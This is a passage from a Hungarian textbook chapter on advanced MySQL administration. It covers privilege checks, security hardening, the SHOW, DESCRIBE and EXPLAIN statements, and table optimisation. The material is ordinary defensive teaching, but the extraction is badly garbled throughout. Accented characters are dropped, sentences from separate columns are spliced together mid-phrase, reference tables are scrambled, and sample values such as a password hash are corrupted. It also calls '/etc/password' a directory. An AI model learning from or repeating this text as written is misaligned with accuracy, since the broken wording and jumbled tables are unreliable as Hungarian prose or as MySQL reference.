A MySQL a jogosuJtsgi tblkat felhasznlva ktlpcss folyamatban hatrozza meg, mit jogosult megtenni egy adott felhasznl:
l. Kapcsolat ellenrzse. Itt a MySQL elszr is azt ellenrzi, hogy egyltaln van-e jogosultsgunk kapcsoldni. Ahogy

mr korbban emltettk, ezt a

user

tbla adatai alapjn dnti el. Ez az ellenrzs a felhasznli nv, a hosztnv

s a jelsz alapjn trtnik. Az res felhasznli nv azt jelzi, hogy minden felhasznl kapcsoldhat. A h osztnevek ) meghatrozsnak hasznlhatunk dzskerkaraktert (%. Lehet ez a teljes mez tartalma (ami azt jelenti, hogy minden hoszt megengedett) vagy a h osztnv egy rsze (a %. tangledweb. com. au esetn pldul a . tangledweb. com. au-ra vgzd sszes hosztnv megfelel). Az res jelszmez azt jelenti, nincs szksg jelszra. Rendszernk bizton sgosabb lesz, ha nem engedlyezzk az res felhasznli nevet, a h osztnevekben a dzskerkarakterek hasznlatt s a jelsz nlkli felhasznlkat. Ha a hosztnv res, a MySQL a jegyzst.
2. Krs ellenrzse. Minden egyes alkalommal, amikor a kapcsolat ltrehozsa utn krst intznk a kiszolglhoz,
host

tblban keres megfelel

user

s host be

a MySQL ellenrzi, hogy rendelkeznk-e a krs vgrehajtshoz szksges jogosultsggal. A rendszer elszr globlis jogosultsgainkat ellenrzi (a user tblban), majd- ha ez nem elgsges- a a
columns_pri v db

s a host tblhoz fordul. Ha nem s a


columns_priv

rendelkeznk elegend jogosultsggal, a MySQL ellenrzi a tables_pr i v tblt, s ha ez mg mindig nem elg, vgl tblt. Ha a mvelet trolt rutinokat hasznl, a MySQL a tblt fogja ellenrizni.
tables_priv

tb

la helyett a

procs _priv

Jogosultsgok frisstse: Mikor lpnek letbe a vltoztatsok


A MySQL a kiszolgl elindtsakor, illetve a
GRANT

s a

REVOKE

utasts kiadsakor automatikusan beolvassa a jogosults

gi tblkat. Most, hogy megrudtuk, a MySQL hol s mikppen trolja a jogosultsgokat, akr sajt kezleg is megvltoztathat juk ezeket. Ha azonban ily mdon frissgk ket, a MySQL szerver nem fogja szrevenni, hogy a jogosultsgok megvltoztak. Tudatnunk kell a kiszolglval, hogy vltozs trtnt, ezt pedig hromflekppen tehetjk meg. Begpelhetjk a MySQL parancssorba a
FLUSH PRIVILEGES;

utastst (a parancs hasznlathoz rendszergazdaknt kell bejelentkeznnk). Ez a jogosultsgok frisstsnek taln leggyakrab ban hasznlt mdja.

198

12. fejezet

Megtehetjk ugyanakkor azt is, hogy opercis rendszernkbl futtatjuk a


mysqladmin flush-privileges

vagy a
mysqladmin reload

utastst. Ezt kveten a globlis szint jogosultsgok ellenrzse a legkzelebbi felhasznli kapcsoldskor fog vgbemenni; az adatbzis-jogosultsgok ellenrzst a u se utasts soron kvetkez hasznlata, a tbla- s oszlopszint jogosultsgok ellen rzst pedig a felhasznl kvetkez krse vltja ki.

MySQL adatbzisunk biztonsgoss ttele


A biztonsg fontos tnyez, klnsen akkor, ha elkezdjk MySQL adatbzisunkat s weboldalunkat sszekapcsolni. A kvet kez rszek bemutatjk, milyen vintzkedsekkel vdhetjk adatbzisunkat.

MySQL az opercis rendszer szemszgbl


A MySQL kiszolgl (mysqld) adminisztrtorknt (root) futtatsa nem tl j det Unix-szer opercis rendszer alatt. Ezzel ugyanis a minden jogosultsggal felruhzott MySQL-felhasznl arra is lehetsget kap, hogy az opercis rendszerben bthon Apache honlapjt is ezzel sikerlt feltrni. (Szerencsre a hackerek "fehr kalaposak" voltak (vagyis j fik), egyeden cljuk az volt, hogy szigorbb tegyk az oldal biztonsgt.) rdemes ltrehozni egy MySQL-felhasznlt kifejezetten a mysqld futtatsra. Ezen tlmenen azt is megtehetjk, hogy a knyvrtakat (ahol a fi:zikai adatokat ttoljuk) csak a MySQL-felhasznl sztnta tesszk elrhetv. Szmos teleptsnl a ki szolgl gy van belltva, hogy mysql felhasznli azonostval (userid-vel) a mysql csoportban fusson. MySQL kiszolglnk idelis esetben tzfalunk mgtt helyezkedik el. Ezzel lehetv vlik, hogy megtagadjuk a jogosulatlan gpek kapcsoldst. Ellenrizzk, hogy a 3306-os szm porton keresztl tudunk-e kivlrl csatlakozni kiszolglnkhoz! Ez az alaprtelmezett port, amelyen a MySQL fut, s ezt le kell zrni tzfalunkon. nan olvasson s brhova tjon fjlokat. Ez igen fontos dolog, amirl, bizony, knny megfeledkezni. Szles krben ismert, hogy az

Jelszavak
Gondoskodjunk arrl, hogy minden felhasznlnk (klnsen a root!) rendelkezzen az opercis rendszer jelszavhoz hasonl gondossggal megvlasztott s rendszeresen vltoztatott jelszvall Az alapszably, amit soha nem szabad elfelejteni, hogy a rszben vagy egszben sztri szbl ll jelsz, bizony. nem j vlaszts. A legjobb a betk s szmok kombincija. Amennyiben kdfjlokban fogjuk rtoini a jelszavakat, gyeljnk, hogy csak az a felhasznl lthassa az adott kdot, akinek a jelszavt abban ttoljuk! Az adarbzishoz kapcsoldshoz hasznlt PHP kdoknak rtelemszeren hozz kell frnik az adott felhasznl jelszavhoz. Ezt gy lehet kellen biztonsgosan megvalstani, ha a felhasznli nevet s a jelszt- mondjuk- egy dbconnect. php nev fjlba tesszk, amit szksg esetn beszrunk A kdot a webes dokumentumf.in kvl kell trolni, s csak a megfelel felhasznl szmra szabad elrhetv tenni. Ne feledjk, hogy ha
. inc

vagy valamilyen ms kiterjeszts fjlban troljuk ezeket a rszleteket, meg kell bizonyosadnunk

arrl, hogy a webszerver risztban van azzal, hogy PHP-knt kell rtelmeznie e fjlokat, nehogy bngszn keresztl egyszer szvegknt megtekinthetk legyenek ezek a titkos adatok! Ne troljuk adatbzisunkban a jelszavakat egyszer szvegknt! A MySQL jelszavak nem gy troldnak, de webes alkal mazsoknl gyakran elfordul, hogy trolni kvnjuk az oldal tagjainak felhasznli nevt s jelszavt. A jelszavakat a MySQL
password

( ) fggvnyvel lehet (egy irnyban) ritkostani. Jegyezzk meg, hogy ha ebben a formban sztjuk be a jelsz t, gy

akkor, arnikor- a felhasznl belptetshez- futtatjuk a SELECT utastst, ugyanezt a fggvnyt kell hasznlni ahhoz is, hogy ellenrizzk a felhasznl ltal begpelt jelszt!
Az V., Gyakorlati PHP s MySQL projektekfejlesztse m rszben a projektek megvalstsnl fogjuk kihasznlni ezt a funkcir.

Felhasznli jogosultsgok
A tuds hatalom. Gyzdjnk meg arrl, hogy megrtettk a MySQL jogosultsgi rendszert s az egyes jogosultsgok Ici osztsnak kvetkezmnyeit! Egyeden felhasznlt se ruhzzunk fel tbb jogosultsggal, mint amennyire szksge van! Ezt a jogosultsgi tblkban ellenrizhetjk.

Halad MySQL-adminisztrci

199

Klnskppen ne osszunk ki PROCESS, FILE, SHUTDOWN s RELOAD jogosultsgot az egyetlen rendszergazdn kvl ms felhasznlknak, legfeljebb rendkvl indokolt esetben! A PROCESS jogosultsggal ltni lehet, hogy mit tesznek s mit gpelnek be ms felhasznlk (gy jelszavuk is megszerezhet). A FILE jogosultsggal fjlokat lehet olvasni s rni az operci s rendszerbl, illetve az opercis rendszerbe (pldul Unix rendszerben az /etc/password knyvtrba). A GRANT jogosultsg kiosztsval is csnjn kell bnni, mert lehetv teszi a felhasznlknak, hogy sajt jogosultsgaikat megosszk msokkal. Felhasznlk ltrehozsnl gyeljnk, hogy csak azokrl a hasztokrl engedlyezzk szmukra a hozzfrst, amelyekrl csatlakozni fognak! Pldul egy j ane@localhost felhasznl teljesen rendben van, de szimpln a j ane tl gyakori, s brhonnan bejelentkezhet - st lehet, hogy nem is az a j ane, akinek gondoljuk. Hasonl okokbl kerljk a hoszmevekben a dzskerkarakterek hasznlatr! A biztonsgot tovbb ersthetjk, ha a host tblban a domainnevek helyett IP-cmeket hasznlunk. Ily mdon elke rlhetjk a DNS kiszolglnknl jelentkez hibk vagy crackerek okozta problmkat. gy rhetjk ezt el, ha a MySQL daernonea--s kip-name- res olve belltssal indtjuk el, ami azt eredmnyezi, hogy minden host oszloprtknek IP mnek vagy helyi gpnek (localhost) kel! lennie. Clszer elkerlni, hogy a nem rendszergazda felhasznlk hozzfrjenek a webszerveren fut mysqladmin programhoz. Mivel a program parancssorbl futtathat, a hozzfrs az opercisrendszer-jogosultsgok krdse.

12

Webes krdsek
MySQL adatbzisunk internertel trtn sszekapcsolsa klnleges biztonsgi krdseket ver fel. rdemes azzal kezdeni, hogy kizrlag a webes kapcsolatok cljra ltrehozunk egy klnleges felhasznlt. gy lehets gnk lesz arra, hogy csak a lehet legszkebb jogosultsggal ruhzzuk fel, s ne adjunk ennek a felhasznlnak pldul DROP, ALTER vagy CREATE jogosultsgot. Csak a katalogus tblkra acijunk neki SELECT, s csak a megrendeles tblkra INSERT jogosultsgot! Ismt egy j plda arra, hogyan alkalmazzuk a legkisebb jogosultsg elvt.
l Figyelmeztets: Az elz fejezetben bemutattuk, hogyan lehet a PHP addslashes () s stripslashes () fggv nyvel megszabadtani a karakterlncokat a problms karakterektL Fontos, hogy ne Jeledkezznk meg errl, s mieltt brmit elkldennk a MySQL-nek, hajtsunk rajta vgre ltalnos adattiszttst. Emlkezhetnk r, hogy a doubleval () fggvnnyel azt ellenriztk, hogy a numerikus adat tnylegesen numerikus volt-e. Ennek elmulasztsa gyakori hiba; az
addslashes

() hasznlatra mg csak-csak szaktak emlkezni a programozk, m a numerikus adatok ellenrzst gyak

ran elfelej tik.

Minden esetben ellenriznnk kell a felhasznlktl rkez minden adatot. Mg akkor is, ha HTML rlapunk csak jell ngyzetekbl s vlasztgombokbl ll, megvltoztathatjk az URL-t, hogy megprbljk feltrni kdunkat. Ugyangy rde mes a bejv adatok mrert is ellenrizni. Amennyiben a felhasznlk adatbzisunkban eltroland jelszavakar vagy ms bizalmas informcikat gpelnek be, ne feledjk, hogy a bngsz egyszer szvegknt tovbbtja azokat a kiszolglnak - kivve, ha Secure Sockets Layer (SSL) kap csolatot hasznlunk! Errl rszletesebben olvashatunk majd knyvnk egy ksbbi rszben.

Tovbbi informcik begyjtse az adatbzisokrl


Idig a SHOW s a DESCRIBE utastst hasznltuk annak kidertsre, milyen tblkbl ll adatbzisunk, s milyen oszlopok tallhatk ezekben a tblkban. A kvetkezkben rviden ttekintjk, milyen ms mdokon hasznlhatjuk ezeket, illetve az EXPLAIN utastst arra, hogy tovbbi informcit szerezznk a SELECT mvelet vgrehajtsval.

lnformciszerzs a SHOW utastssal


A korbbiakban a
SHOW
TABLES;

utastssal kaptuk meg az adatbzisban lv tblk listjt. A


SHOW
DATABASES; TABLES

utasts az elrhet adatbzisok listjt aclja. Ha ez megvan, a SHOW adatbzis tblinak listjt jelenthetjk meg:

utastssal az ezek kzl kivlasztott valamely

200

12. fejezet

SHOW TABLES FROM konyvek;

Amikor adatbzis meghatrozsa nlkl hasznljuk a SHOW TABLES utastst, az aktulisan hasznlt adatbzisra fog vo natkozni. Ha mr tudjuk, milyen tblk vannak, a kvetkezkppen kapjuk meg az oszlopok listjt:
SHOW COLUMNS FROM megrendelesek FROM konyvek;

Ha kihagyjuk az adatbzis nevt, a SHOW COLUMNS utasts az aktulisan hasznlt adatbzisra fog vonatkozni. Hasznlhaguk a tabla.oszlop megjellst is:
SHOW COLUMNS FROM konyvek.megrendelesek;

A SHOW utasts egy msik igen hasznos vltozatval kiderthet, hogy milyen jogosultsgokkal br egy adott felhasznl. A
SHOW GRANTS FOR bookorama;

utasts az albbi eredmnnyel jr:


+------------------------------------------------------------------------+

Grants for bookorama@%

+------------------------------------------------------------------------+

12

GRANT USAGE ON *.* TO

'bookorama'@'%'

IDENTIFIED BY PASSWORD '*1ECE648641438A28El910DOD7403CSEE9E8BOA85' GRANT SELECT, ON INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER

'konyvek'.* TO

'bookorama'@'%'

+------------------------------------------------------------------------+

Az itt lthat GRANT utastsok nem szksgszeren azok, amelyekkel az adott felhasznl megkapta meglv jogosults gait, inkbb olyan egyenrtk utastsok sszefoglalsa, amelyek a felhasznl jelenlegi jogosultsgi szingt eredmnyeznk. A SHOW utasts szmtalan ms vltozatban hasznlhat, valjban tbb mint harminc klnbz vltozata ltezik. A gyaktabban hasznltakat a 12.7 tblzatban lthatjuk. A teljes listrt olvassunk bele a MySQL kziknyvbe (hrrp://dev. mysql.com/doc/refman/5.1/en/show.html)! A [LIKE_v agy_WHERE J tblzatbeli sszes elfordulsa esetn megprblha

tunk mintt vagy kifejezst illeszteni a LIKE, illetve a WHERE hasznlatval. 12.7 tblzat: A SHOW utasts szintaktikja Vltozat
SHOW DATABASES SHOW [OPEN) [LIKE_vagy_WHERE) [FROM adatbazis] TABLES

Lers Az elrhet adatbzisok listjt jelenti meg. Az aktulisan hasznlt vagy listjt jelenti meg.
[FROM
az

adatbazis nev adatbzis tblinak

[LIKE_vagy_WHERE) SHOW [FULL) COLUMNS FROM tabla [LIKE_vagy_WHERE)

Az aktulisan hasznlt vagy a megnevezett adatbzis egy adott tbljnak sszes oszlopt lisrzza ki. A SHOW COLUMNS helyerr a SHOW FIELDS is hasznlhat. Az aktulisan hasznlt vagy a SHOW KEYS is.
az

adatbazis)

SHOW INDEX FROM tabla adatbazis]

[FROM

adatbazis nev adatbzis egy adott

tbljn lv indexek rszleteit mutaga. Hasznlhat helyette


l
SESSION) STATUS [LIKE

SHOW

[GLOBAL

A rendszerelemek, pldul a fut szlak szmrl ad tjkoztatst. A LIKE mellkggal


az

vagy_WHERE)

elemek neveire lehet illeszteni, a.,Thread%"

pldul a .. Threads_cached", .. Threads_connected; .,Threads created" s.Threads running" elemeknek felel meg.
SHOW [GLOBALISESSION) VARIABLES

A MySQL rendszervltozk nevt s rtkt jelenti meg (pldul verziszm). A rendszeren aktulisan fut folyamatokat - vagyis az ppen vgre hajtort lekrdezseket -jelenti meg. A felhasznJk tbbsge csak sajt szlait lthaga, de PROCESS jogosultsggal brki folyamata ira - gy akr lekrdezsekben lv jelszavakra is - rnzhernek Az opcionlis FULL kulcssz hasznlatakor a teljes lekrdezsek jelennek meg.

[LIKE_vagy_WHERE) SHOW [FULL) PROCESSLIST

Halad MySQL-adminisztrci

201

\Tltozat
SHOW TABLE STATUS [LIKE_vagy_WHERE] [FROM adatbazis]

Lers

Az aktulisan hasznlt vagy az adathazis nev adatbzis sszes tb ljrl kzl informcikar. (Az adarbzist dzskerkarakter hasz nlatval is meghatrozhatjuk.) Az informcik kzrt megtalljuk a tbla tpust s az utols frisstse idpontjt.

SHOW GRANTS FOR

jelhasznala

A jelhasznala nev felhasznl jelenlegi jogosuJtsgi szinrjnek ki osztshoz szksges G RANT utastsokat jelenti meg. A kiszolgl ltal tmogatott klnbz jogosultsgokat jelenti meg. A meghatrozott adatbzist ltrehoz CREATE DATABASE utas tst jelenti meg. A meghatrozott tblzatot ltrehoz CREATE TABLE utastst jelenti meg. Az adott teleptsnl elrhet trolmotorokat jelenti meg, illetve jelzi, melyik az alaprtelmezett. (A trolmotorokkal rszletesebben foglalkozunk a Halad

SHOW PRIVILEGES

SHOW

CREATE DATABASE adatbazis

SHOW CREATE TABLE tabla neve

SHOW

[STORAGE] ENGINES

MySQLpragramazs

cm 13. fejezetben.)

SHOW INNODB STATUS SHOW WARNINGS sorok_szama] SHOW ERRORS sz ama] [LIMIT [eltols,] sorok [LIMIT [eltolas,]

Az InnoDB trolmotor aktulis llapotrl jelent meg adatokat. Az utoljra vgrehajtott utasts ltal generlt hibkat, figyelmezte tseket vagy zeneteket jelenti meg. Az utoljra vgrehajtott utasts ltal generlt hibkat jelenti meg.

12

lnformciszerzs oszlopokrl a DESCRIBE utastssal


A SHOW COLUMNS utasts alternatvjaknt rendelkezsnkre ll a DES CRIBE utasts is, amely igen hasonl az Oracle (egy msik RDBMS) DESCRIBE utastshoz. Alapvet szintaktikja a kvetkez:
DES CRIBE tabla [oszlop];

Az utasts a tbla minden oszloprl, illetve- az oszlop meghatrozsa esetn-egy adott oszloprl ad informcit. Az oszlopnvben tetszs szerint hasznlhatunk dzskerkaraktereket.

A lekrdezsek mkdsnek megismerse az EXPLAIN utastssal


Az EXPLAIN urasrs ktflekppen hasznlhat. Egyik formja:
EXPLAIN tabla;

Ez a parancs ekkor a DESCRIBE tabla vagy a SHOW COLUMNS FROM tabla utastshoz hasonl eredmnyt ad. A msodik s sokkal rdekesebb hasznlati md esetn az EXPLAIN ltni engedi szmunkra, pontosan miknt rtkel ki
a

MySQL egy adott SELECT lekrdezst. Ehhez nem kell mst tennnk, mint egyszeren az EXPLAIN szt berni a megfele Az EXPLAIN utasts akkor nyer igazn rtelmet, amikor sszetett lekrdezst prblunk mkdsbe hozni, s egyrtel

l SELECT utasts el. men ltszik, hogy valami nem stimmel, vagy amikor egy lekrdezs feldolgozsa a kelletnl sokkal tovbb tart. Ha komplex

lekrdezst runk, az EXPLAIN parancs segitsgvel elzetesen, a lekrdezs tnyleges futtatsa eltt ellenrizhetjk. Az utaststl visszakapott kimenet alapjn szksg esetn tdolgozharjuk az SQL kdot, hogy optimalizljuk. A fentiek miatt az
EXPLAIN

parancs egyben gyes tanulsi eszkz is.

Prbljuk meg pldul a kvetkez lekrdezst lefuttatni a Book-O-Rama adatbzison:


EXPLAIN SELECT vasarlok.nev FROM vasarlok, megrendelesek, rendelesi_tetelek, konyvek
=

WHERE vasarlok.vasarloid

megrendelesek.vasarloid
=

AND megrendelesek.rendelesid AND rendelesi_tetelek.isbn AND konyvek.cim


=

rendelesi_tetelek.rendelesid

konyvek.isbn

like

'%Java%';

A lekrdezs az albbi kimenetet adja. (Azrt fgglegesen jelentjk meg, mert a tblzat sorai tl szlesek ahhoz, hogy elfrjenek knyvnk oldalain. Ha pontosvessz helyett \G-vel zrjuk a lekrdezst, akkor kapjuk ezt a formtumot.)

202

12.fezet

***************************

l. row

***************************

id: select type: table: type: possible keys: key: key_len: ref: rows: Extra:

l
SIMPLE megrendelesek ALL PRIMARY NULL NULL NULL

4 2. row
***************************

***************************

id: select type:

l
SIMPLE rendelesi tetelek ref PRIMARY PRIMARY

12

table: type: possible keys: key: key_len: ref: rows: Extra:

4
konyvek.megrendelesek.rendelesid

l
Using index 3. row ***************************

***************************

id: select type:


-

l
SIMPLE vasarlok ALL PRIMARY NULL NULL NULL 3 Using where; Using
4.

table: type: possible_keys: key: key len:


-

ref: rows: Extra:

join buffer

***************************

row ***************************

id: select_type: table: type: possible keys: key: key_len: ref: rows: Extra:

l
SIMPLE konyvek eq_ref PRIMARY PRIMARY 13 konyvek.rendelesi tetelek.isbn

l
Using where

A kimenet elsre kicsit zavarosnak tnhet, de nagyon hasznos lehet. Vizsgljuk meg egyenknt a tblzat oszlopait! Az els, az id oszlop az azon lekrdezsen belli SELECT utasts azonost szmt adja meg, amelyre a sor hivatkozik. A select_type oszlop a hasznlt lekrdezs tpust mutatja meg. Az oszlop lehetsges rtkeit a 12.8 tblzatban lthatjuk. 12.8 tblzat: Az EXPLAIN utasts kimenetben szerepl, lehetsges Select-tpusok Tpus
SIMPLE PRIMARY

Lers Egyszer SELECT, mint amilyen pldnkban is szerepel. Egymsba gyazott lekrdezsek s unik hasznlata esetn a kls (els) lekrdezs.

Halad MySQL-adminisztrci

203

Tpus
UNION DEPENDENT UNION

Lers Msodik vagy ksbbi lekrdezs uniban. Msodik vagy ksbbi lekrdezs uniban, az elsdleges lekrdezstl fgg.
UNION

UNION RESULT SUBQUERY DEPENDENT SUBQUERY

eredmnye.

Bels egymsba gyazott lekrdezs. Bels egymsba gyazott lekrdezs, amely az elsdleges lekrdezstl fgg (azaz korrellt lekrdezs).
FROM

DERIVED UNCACHEABLE SUBQUERY

mellkgban hasznlt, egymsba gyazott lekrdezs.

Olyan egymsba gyazorr lekrdezs, amelynek eredmnye nem gyorsttrazhat, gy minden egyes sorhoz jra ki kell rtkelni. Msodik vagy ksbbi lekrdezs uniban, amely nem gyorsttrazhat egymsba gya zott lekrdezshez tartozik.

UNCACHEABLE UNION

A table oszlop egyszeren a lekrdezs megvlaszolshoz hasznlt tblkat sorolja fel. Az eredmny minden egyes sora arrl tjkoztat, hogyan hasznlja a lekrdezs az adott tblt. Jelen pldban azt lthatjuk, hogy a megrendelesek, a rendelesi _tetelek, a vasarlok s a konyvek tbla volt rintett. (Ezt mr korbban, a lekrdezsre nzve is meg llapthattuk) A type oszlop azt mutatja, hogyan lesz felhasznlva a tbla a lekrdezs sszekapcsolsaiban. Az oszlop lca! felvehet rtkek kszlett a 12.9 tblzat mutatja. Az ott szerepl rtkek a lekrdezs vgrehajtsnak sebessge szerint a leggyorsabbtl a leglas sabbig terjednek. A tblzatbl kvetkeztethetnk, hogy hny sort kell az egyes tblkbl a lekrdezs vgrehajtshoz beolvasni. 12.9 tblzat: Az Tpus
const
EXPLAIN

12

utasts kimenetben szerepl, lehetsges sszekapcsalsi tpusok Lers

vagy system

A tblbl egyetlen beolvass trtnik. Ez akkor lehetsges, ha a tbla pontosan egy sorbl ll. Rendszertbla esetn a system, ms esetben a const tpust hasznlja. Az sszekapcsolsban szerepl ms tblk minden sorkszlethez (set of row) egyetlen sort olvasunk be ebbl a tblbl. Ez a tpus jn szba, amikor az sszekapcsols a tbln lv index minden rszt hasznlja, s az index UNI QUE, vagy az az elsdleges kulcs.

eq_ref

fulltext ref

fulltext

index hasznlatval vgrehajtott sszekapcsols.

Az sszekapcsolsban szerepl ms tblk minden sorkszlethez a tbla megfelel sorksz lett olvassuk be. Ezt a tpust akkor hasznljuk, amikor az sszekapcsols nem tud az ssze kapcsoJsi felttel alapjn egyetlen sort kivlasztani - vagyis amikor csak a kulcs egy rszt hasznljuk az sszekapcsolsban, vagy a kulcs nem UNIQUE, kulcs. vagy nem az az elsdleges

ref or null

Olyan, rnint a ref lekrdezs, de a MySQL NULL sorokat is keres. (Ezt a tpust elssorban egymsba gyazott lekrdezsekben hasznljuk.) Az Index Merge egy klnleges optimalizls hasznlatt jelzi. Egyes IN egymsba gyazott lekrdezsekben, ahol egy egyedi sort kapunk vissza, erre az sszekapcsoJsi tpusra cserljk a ref tpust. A unique _subquery sszekapcsoJsi tpushoz hasonl, de indexelt, nem egyedi egyms ba gyazott lekrdezsekre val. Az sszekapcsolsban szerepl ms tblk minden sorkszlethez a tbla azon sorkszlett olvassuk be, amely egy adott tartomnyba esik. A celjes index beolvasott (scanned). A tbla minden sora beolvasott.

index_merge unique_subquery

index_subquery

range

index
ALL

Az elz pldban lthatjuk, hogy az egyik tblt (konyvek) eq_ref tpus hasznlatval kapcsoltk ssze, egy msikat

(rendelesi_tetelek)
a

a ref tpussal, kt msikat (megrendelesek s vasarlok) pedig az ALL tpussal-vagyis

tbla minden egyes sort megnzve. A rows oszlop is ezt tmasztja al: (nagyjbl) azt a szmot aclja meg, ahny sort az adott tblban az sszekapcsols vg

rehajtshoz be kell olvasnia a MySQL-nek. Ezeket a szmokat sszeszorozva megkapjuk a lekrdezs vgrehajtshoz meg vizsglt sorok teljes szmt. Azrt kell sszeszorozni a szmokat, mert az sszekapcsols olyan, mint a klnbz tblkban

204

12. fejezet

12

lv sorok szorzata. Tovbbi rszletekrt lapozzunk vissza a Munka MySQL adatbzisunkkal cm 10. fejezethez l Ne feledjk, hogy ez a megvizsglt, nem pedig a visszaadott sorok szma, s csupn becsls; a lekrdezs vgrehajtsa nlkl a MySQL nem tudja a pontos szmot meghatrozni. Nyilvnvalan minl kisebb tudjuk tenni ezt a szmot, annl jobb. Egyelre elhanyagolhat mennyisg adat tallhat adatbzisunkban, de ha az adatbzis mrete nvekedni kezd, a lekrdezs vgrehajtsi ideje is nni fog. Erre a krdsre rvide sen visszatrnk majd. A possible_keys oszlop- ahogy azt neve is sugallja- a MySQL ltal a tbla sszekapcsolshoz hasznlt kulcsokat mutatja. Pldnkban azt lthatjuk, hogy a lehetsges kulcsok mind PRIMARY, azaz elsdleges kulcsok. A key oszlop vagy a MySQL ltal tnylegesen hasznlt tblbl szrmaz kulcsot vagy NULL rtket tartalmaz ( ameny nyiben nem volt kulcs). Figyeljk meg, hogy br a vasarlok s a megrendelesek tblhoz tartoznak lehetsges elsdleges kulcsok, a lekrdezshez ezek nem lettek felhasznlva! A key_len oszlop a hasznlt kulcs hosszt mutatja. Ebbl az rtkbl megllapthatjuk, hogy csak a kulcs egy rsze lett-e felhasznlva. A kulcs hosszsga akkor vlik fontoss, amikor egynl tbb oszlopbl ll kulcsokkal dolgozunk. Pldnkban a teljes kulcs lett felhasznlva. A ref oszlop azokat az oszlopokat mutatja, amelyeket a kulccsal egytt a tbla sorainak kivlasztshoz hasznltunk. s vgl: az Extra oszlop az sszekapcsols vgrehajtsnak mdjrl kzl tovbbi informcit. A 12.10 tblzatban az oszlop nhny lehetsges rtket lthatjuk. A tbb mint 15 lehetsges rtk teljes listjt a MySQL kziknyvben talljuk (http:/l dev.mysql.com/ doc/refman/5.1/en/ using-explain.htrnl).
12.10 tblzat: Az
EXPLAIN

utasts kimenetben szerepl Extra oszlop nhny lehetsges rtke Jelents

rtk
Distinct Not exists Range checked for each record Using filesort

Az els megfelel sor megtallsa utn a MySQL abbahagyja a keresst. A lekrdezs a LEFT
JOIN

hasznlatra lett optimalizlva.

A MySQL az sszekapcsolsban szerepl ms tblk minden sorkszlethez megprblja megtallni a legjobban hasznlhat indexet, ha van ilyen. Kt illeszrsre van szksg az adatok rendezshez. (Ez a mvelet nyilvnvalan ktszer any nyi ideig tart.) A tblkbl szrmaz minden informci az indexbl jn; vagyis a sarok tnyleges ellenrz se nem trtnik meg. A tblk beolvassa az sszekapcsalsi puffer hasznlatval rszekben trtnik; majd a soro kat a pufferbl kinyerve megy vgbe a lekrdezs. Ideiglenes tbla ltrehozsra van szksg a lekrdezs vgrehajtshoz. A sarok kivlasztsa WHERE mellkg hasznlatval trtnik.

Using index

Using join buffer

Using temporary Using where

Az EXPLAIN utasts kimenetben szrevett hibkat tbbflekppen orvosolhatjuk. Elszr is ellenrizhetjk az oszlopt pusokat, s meggyzdhetnk arrl, hogy megegyezek-e. Ez klnsen igaz az oszlopok szlessgre. Az indexek nem hasz nlhatk klnbz szlessg oszlopok prostsra. Ezen a problmn gy segthetnk, ha mdostjuk a prostani kivnt, de eltr szlessg oszlopok tpust, vagy ha mr az adatbzis tervezsnek elejn tekintettel vagyunk erre. Msodsorban utasthatjuk az sszekapcsols-optimalizlt, hogy vizsglja meg a kulcseloszlsokat, s tegye hatkonyabb az sszekapcsolsokat. A myisamchk segdalkalmazst vagy az ANALYZE TABLE utastst hasznlhatjuk erre- a kett egyenrtk. Az albbiakat begpelve hvhatjuk meg a segdalkalmazst:
myisamchk --analyze pathtomysqldatabase/table

Tbb tblt is ellenrizhetnk, ha felsoroljuk ket a parancssorban, vagy az albbi utastst adjuk ki:
myisamchk --analyze pathtomysqldatabase/*.MYI

A kvetkez utasts futtatsval az adatbzis minden tbljt ellenrizhetjk:


myisamchk --analyze pathtomysqldatadirectory/*/*.MYI

A msik lehetsg, ha a MySQL manitoron bell az ANALYZE


analyze table vasarlok, megrendelesek,

TAB LE

utastsnl felsoroljuk a tblkat:


konyvek;

rendelesi_tetelek,

Harmadsorban mrlegelhetjk annak lehetsgt, hogy j indexet adunk a tblhoz. Ha a lekrdezs lass vagy gyakori, rdemes komolyan elgondolkodni ezen a javtsi lehetsgen. Amennyiben olyan egyszeri lekrdezsrl van sz, amelyet soha az letben nem fogunk mg egyszer hasznlni- pldul a fnknk ltal krt, valamilyen bonyolult jelentsrl-, akkor az minden bizonnyal nem fogja megrni az erfesztst, mert ms dolgokat lelassthat.

Halad MySQL-adminisztrci

205

Ha az

EXPLAIN

utasts kimenetnek

possible

keys

oszlopa nhny NULL rtket tartalmaz, azzal javthatjuk a le


TAB LE

krdezs teljestmnyt, hogy indexet adunk a krdses tblhoz. Ha a WHERE mellkgban hasznlt oszlop indexelsre megfe lel, a kvetkezkppen hozhatjuk ltre az j indexet az ALTER
ALTER TABLE tabla ADD INDEX (oszlop);

utastssal:

Adatbzisunk optimalizlsa
Az elbbi lekrdezs-optimalizlsi tippeken tlmenen srnos olyan dolgot tehetnk, amellyel ltalnossgban nveljk MySQL adatbzisunk teljestmnyt.

Optimlisra tervezs
Az alapelv az;, hogy adatbzisunkban minden a lehet legkisebb legyen. Ezt a clt - legalbbis rszben - a redundancit mini mliss tev, megfelel tervezssei rhetjk el. Szintn ezt szolglja, ha a lehet legkisebb adattpust hasznljuk az oszlopok hoz. Ahol lehetsges, rninimalizljuk a NULL ttk oszlopok szmt, s tegyk az elsdleges kulcsot a lehet legrvidebbl Ha lehet, kerljk a vltoz hosszsg oszlopok (gy a VARCHAR, TEXT s BLOB tpusak) hasznlatr! A rgztett hossz sg mezkkel rendelkez tblkkal gyorsabban dolgozhatunk, br az igaz, hogy valarnivel tbb helyet foglalnak el.

12

Jogosultsgok
Az EXPLAIN utastssal foglalkoz rszben emltett tancsok mellett a jogosultsgok egyszerstsvel is nvelhetjk a lekr ciezsek sebessgt. Korbban mr sz volt arrl, hogy vgrehajtsuk eltt a jogosultsgi rendszer ellenrzi a lekrdezseket. Minl egyszerbb ez a folyamat, annl gyorsabban fog lefutni a lekrdezs.

Tblaoptimalizls
Egy hosszabb ideje hasznlatban lv tblt a frisstsek s trlsek feldolgozsa mr tredezett tehetett. A tredezettsg

megnveli a tblban a keressi idt. Az


OPTIMIZE TABLE tabla neve;

utastssal vagy a parancssorba a kvetkezket begpelve:


myisamchk -r tabla

segthetnk ezen a problmn. A


myisamchk

segdalkalmazssal a kvetkezkppen rendezhetjk egy tbla indext, illetve adatait az adott index szerint:
pathtomysqldatadirectory/*/*.MYI

myisamchk --sort-index --sort-records=l

Indexek hasznlata
